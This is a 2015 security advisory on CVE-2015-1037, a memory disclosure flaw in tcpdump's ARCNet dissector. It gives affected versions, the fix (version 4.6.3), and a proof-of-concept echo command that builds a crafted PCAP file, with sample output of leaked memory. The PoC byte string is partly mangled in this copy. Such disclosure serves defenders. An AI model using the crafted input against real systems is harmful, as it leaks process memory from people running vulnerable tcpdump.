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Sense of Security – Security Advisory – SOS-15-001 – tcpdump Memory Disclosure Vulnerability


Sense of Security – Security Advisory – SOS-15-001

Release Date. 21-Jan-2015
Last Update.
Vendor Notification Date. 05-Jan-2015
Product. tcpdump
Platform. Windows / *nix / Mac OSX
Affected versions. 4.1 – 4.6.2
Severity Rating. Medium
Impact. Memory disclosure
Attack Vector. Local
Solution Status. Vendor Update
CVE reference. CVE-2015-1037



tcpdump is a common command line packet analyser. It allows the user to display TCP/IP and other packets being transmitted or received over a network to which the computer is attached. When dissecting an ARCNet packet type, tcpdump uses the length announced in the PCAP in the ARCNet header to read and display the packet content mapped in memory, by calling the function hex_and_ascii_print_with_offset(). If the captured length is less than the length announced in the packet (which can be forged), the call to arcnet_if_print() function will dump memory content, eventually causing tcpdump to generate a segmentation fault crash if the pointer reaches an invalid address.

Proof of Concept.

The following lines will generate a Proof-of-Concept PCAP file, called ‘dump.pcap’. By replaying this PCAP file, tcpdump will dump 0x1000 bytes of the process memory.

$ echo ‘\xd4\xc3\xb2\xa1\x02\[email protected]\x00\x00\x16\x00\xed\x00\x00\x00\x00 \x00\x00\x00\x81\x00\x00\x00\xce`\xb3T\xff\x00\x00\x00\x10\x00\x00\x00




$ tcpdump –version

tcpdump version 4.6.2

libpcap version 1.6.2

OpenSSL 1.0.1j 15 Oct 2014

$ tcpdump -r dump.pcap

reading from file dump.pcap, link-type ARCNET_LINUX (Linux ARCNET)

17:18:53.000255 [|ARP]

0x0000: 4141 4141 4141 4141 ffff ffff ffff ffff AAAAAAAA……..

0x0010: 0000 0000 0000 0000 20b1 9d01 0000 0000 …………….


0x0c80: 4100 0000 0000 0000 2f6c 6962 2f78 3836 A……./lib/x86

0x0c90: 5f36 342d 6c69 6e75 782d 676e 7500 6c69

0x0ca0: 626e 7373 5f66 696c 6573 2e73 6f2e 3200

0x0cb0: 2e73 6f2e 3200 0000 4000 0000 0000 0000 .so.2…@…….

0x0cc0: 3100 0000 0000 0000 b0bd 9d01 0000 0000 1……………



Update to tcpdump version 4.6.3.

Discovered by.

Christophe Alladoum from Sense of Security Labs.